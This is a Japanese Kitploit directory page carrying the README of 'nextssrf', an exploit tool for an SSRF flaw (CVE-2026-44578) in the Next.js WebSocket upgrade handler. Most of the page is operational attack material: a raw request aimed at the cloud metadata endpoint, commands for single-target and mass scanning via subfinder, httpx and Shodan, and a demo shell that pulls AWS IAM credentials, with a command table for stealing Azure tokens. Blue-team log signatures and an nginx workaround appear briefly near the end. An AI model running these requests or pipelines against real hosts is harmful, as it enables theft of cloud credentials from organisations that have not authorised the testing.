Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
nextssrf — CVE-2026-44578 のスキャナーおよびエクスプロイトツール。Next.js WebSocket アップグレードハンドラ内の SSRF 脆弱性を対象としています。脆弱性のあるバージョンを検出し、クラウドメタデータを抽出し、インタラクティブシェルを介して IAM クレデンシャルを外部に流出させます。 | Kitploit
ツール/GitHubGitHub/ynsmroztas/nextssrf
偵察脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集クラウドセキュリティ
GitHubynsmroztas/nextssrf

nextssrf

CVE-2026-44578 のスキャナーおよびエクスプロイトツール。Next.js WebSocket アップグレードハンドラ内の SSRF 脆弱性を対象としています。脆弱性のあるバージョンを検出し、クラウドメタデータを抽出し、インタラクティブシェルを介して IAM クレデンシャルを外部に流出させます。

リポジトリを見る
762043ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
root@kitploit:~
╔══════════════════════════════════════════════════════════════╗
║         NextSSRF — CVE-2026-44578 Scanner & Exploit          ║
║   Next.js WebSocket Upgrade Handler SSRF                     ║
║   Affected: 13.4.13 → 15.5.15, 16.0.0 → 16.2.4              ║
║         @mitsec / ynsmroztas — Bug Bounty Tooling            ║
╚══════════════════════════════════════════════════════════════╝

Python CVE CVSS License Platform

CVE-2026-44578 — Next.js WebSocket Upgrade Handler におけるサーバーサイドリクエストフォージェリ

概要 · インストール · 使い方 · パイプライン · Shodan · 対話型シェル · 免責事項


概要

2026年5月11日、Vercel は CVE-2026-44578(CVSS 8.6)を修正しました。これは、Next.js の WebSocket upgrade ハンドラにおける認証不要の SSRF であり、13.4.13 以降のすべてのセルフホスト環境に影響します。

メカニズム

root@kitploit:~
GET http://169.254.169.254/latest/meta-data/ HTTP/1.1   ← absolute-form URI
Host: vulnerable-nextjs.com
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==

http:// 内の // により normalizeRepeatedSlashes が早期終了し、statusCode: 308 および finished: true が設定されます。脆弱な upgrade ハンドラは 両方のフラグを無視 し、parsedUrl.protocol が truthy の場合に proxyRequest を呼び出します。これにより、攻撃者が制御するホストの ポート80 にリクエストがプロキシされます。

root@kitploit:~
// router-server.ts (vulnerable)
- if (parsedUrl.protocol) {
-     return await proxyRequest(req, socket, parsedUrl, head)
+ if (finished && parsedUrl.protocol) {
+     if (!statusCode) {
+         return await proxyRequest(req, socket, parsedUrl, head)

影響を受けるバージョン

製品脆弱なバージョン修正済み
Next.js13.4.13 – 15.5.1515.5.16
Next.js16.0.0 – 16.2.416.2.5
Vercel ホスト✅ 影響なしN/A

制限事項

  • GET のみ(POST/PUT は不可)
  • ポート 80 のみ(明示的なポートは URL 正規化で除去)
  • AWS IMDSv2 は利用不可(PUT トークンが必要)
  • GCP メタデータは Upgrade: websocket を 400 で拒否
  • リバースプロキシ(nginx/caddy/HAProxy)は absolute-form URI をブロック

デモ

NextSSRF — AWS クレデンシャル漏洩

AWS IMDSv1 クレデンシャルが CVE-2026-44578 経由で流出 — 対話型エクスプロイトシェル


インストール

root@kitploit:~
git clone https://github.com/ynsmroztas/nextssrf
cd nextssrf
python3 nextssrf.py -t https://target.com

依存関係ゼロ — Python 標準ライブラリのみ。Python 3.10+ が必要です。


使い方

単一ターゲットスキャン

root@kitploit:~
python3 nextssrf.py -t https://target.com

クラウド固有のターゲット指定

root@kitploit:~
# AWS メタデータのみ
python3 nextssrf.py -t https://target.com --cloud aws

# カスタム内部ターゲット
python3 nextssrf.py -t https://target.com \
  --ssrf-host http://internal-api --path /admin

# ディープスキャン(内部サービスも含む)
python3 nextssrf.py -t https://target.com --cloud aws --deep

一斉スキャン(パイプライン)

root@kitploit:~
# subfinder + httpx + nextssrf
subfinder -d target.com | httpx -silent | \
  python3 nextssrf.py --pipe --threads 20 --cloud aws -o results.jsonl

# ファイル入力
python3 nextssrf.py -f targets.txt --threads 15 -o results.json

# 強制スキャン(バージョン不明でも実行)
python3 nextssrf.py -t https://target.com --force

終了コード

コード意味
0脆弱性なし / 正常
1脆弱性あり(エクスプロイトなし)
2SSRF 確認

対話型シェル

自動クラウド検出と IAM クレデンシャル抽出を備えた高度なエクスプロイトシェル:

root@kitploit:~
python3 nextssrf.py -t https://target.com
root@kitploit:~
╔══════════════════════════════════════════════════╗
║  NextSSRF v2 — Interactive Exploit Shell         ║
║  Target : ec2-x-x-x-x.compute.amazonaws.com     ║
║  CVE    : CVE-2026-44578  |  Status: Connected   ║
╚══════════════════════════════════════════════════╝

nextssrf(ec2-x...)> cloud
  [>] Detecting cloud provider...
  ✓ AWS — matched: ['ami-id', 'instance-id', 'iam/', 'hostname']
  → Run 'aws' for full credential extraction

nextssrf(ec2-x...)> aws
  [1/3] Instance Information
  [200] Hostname    : ip-172-31-47-134.ec2.internal
  [200] AZ          : us-east-1d
  [200] Account ID  : {"AccountId": "370741706736"}

  [2/3] IAM Role Discovery
  ✓ IAM Role found: my-ec2-role

  [3/3] Credential Extraction
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  🎯 AWS CREDENTIALS EXFILTRATED!
  ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓
  AccessKeyId : ASIAXXXXXXXXXXXXXXXXXX
  SecretKey   : xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
  Expiration  : 2026-05-14T22:32:22Z

シェルコマンド

自動モード

root@kitploit:~
# クラウドを検出し、自動的にエクスプロイトチェーンを実行
python3 nextssrf.py -t https://target.com --auto

パイプライン例

root@kitploit:~
# 完全な偵察 → エクスプロイトパイプライン
subfinder -d target.com \
  | httpx -silent -server \
  | grep -i "next" \
  | python3 nextssrf.py --pipe --cloud aws --deep -o findings.jsonl

# Shodan の一括スキャン → 確認されたホストに対して対話型実行
python3 shodan_nextjs.py --key KEY --org "TargetCorp" \
  | python3 nextssrf.py --pipe --cloud aws -o hits.jsonl

# 特定のバージョン範囲をチェック
cat hosts.txt \
  | python3 nextssrf.py --pipe --force --cloud aws \
  | jq '.[] | select(.ssrf_hits | length > 0)'

検出(ブルーチーム)

ログから見つかるエクスプロイトの兆候:

root@kitploit:~
# Next.js プロセスログ
Failed to proxy http:/   ← スラッシュ1つ = 正規化の痕跡

# アクセスログ(absolute-form URI + Upgrade ヘッダー)
GET http://169.254.169.254/... HTTP/1.1
Connection: Upgrade
Upgrade: websocket

回避策(パッチ適用ができない場合)

root@kitploit:~
# Nginx: absolute-form リクエスト URI を拒否
if ($request_uri ~* "^https?://") {
    return 400;
}

参考情報

  • GHSA-c4j6-fc7j-m34r
  • NVD CVE-2026-44578
  • Next.js 2026年5月 セキュリティリリース
  • Hadrian 技術分析

免責事項

許可されたセキュリティテストおよびバグバウンティ調査のみを対象としています。 自分が所有している、または明示的な書面によるテスト許可を得ているシステムに対してのみ使用してください。 著者は誤用または不正使用について責任を負いません。 常にバグバウンティプログラムのルールオブエンゲージメントに従ってください。


@mitsec が ❤️ を込めて作成 · ynsmroztas.github.io

Top Hacker @ Intigriti · 100+ HOF · 2430+ 脆弱性 · 1100+ P1 Critical

ツールをダウンロード
コマンド説明
cloudクラウドプロバイダーを自動検出(AWS/Azure/GCP/DO/OCI)
awsAWS IAM クレデンシャルチェーン全体を取得
azureAzure マネージド ID トークンを取得
scanクラウド検出 + 自動エクスプロイト
url <http://>カスタム SSRF リクエスト
get <N>インデックスで AWS IMDS ターゲットを指定
listすべての IMDS エンドポイントを表示
historyリクエスト履歴
saveセッションを JSON にエクスポート
quit終了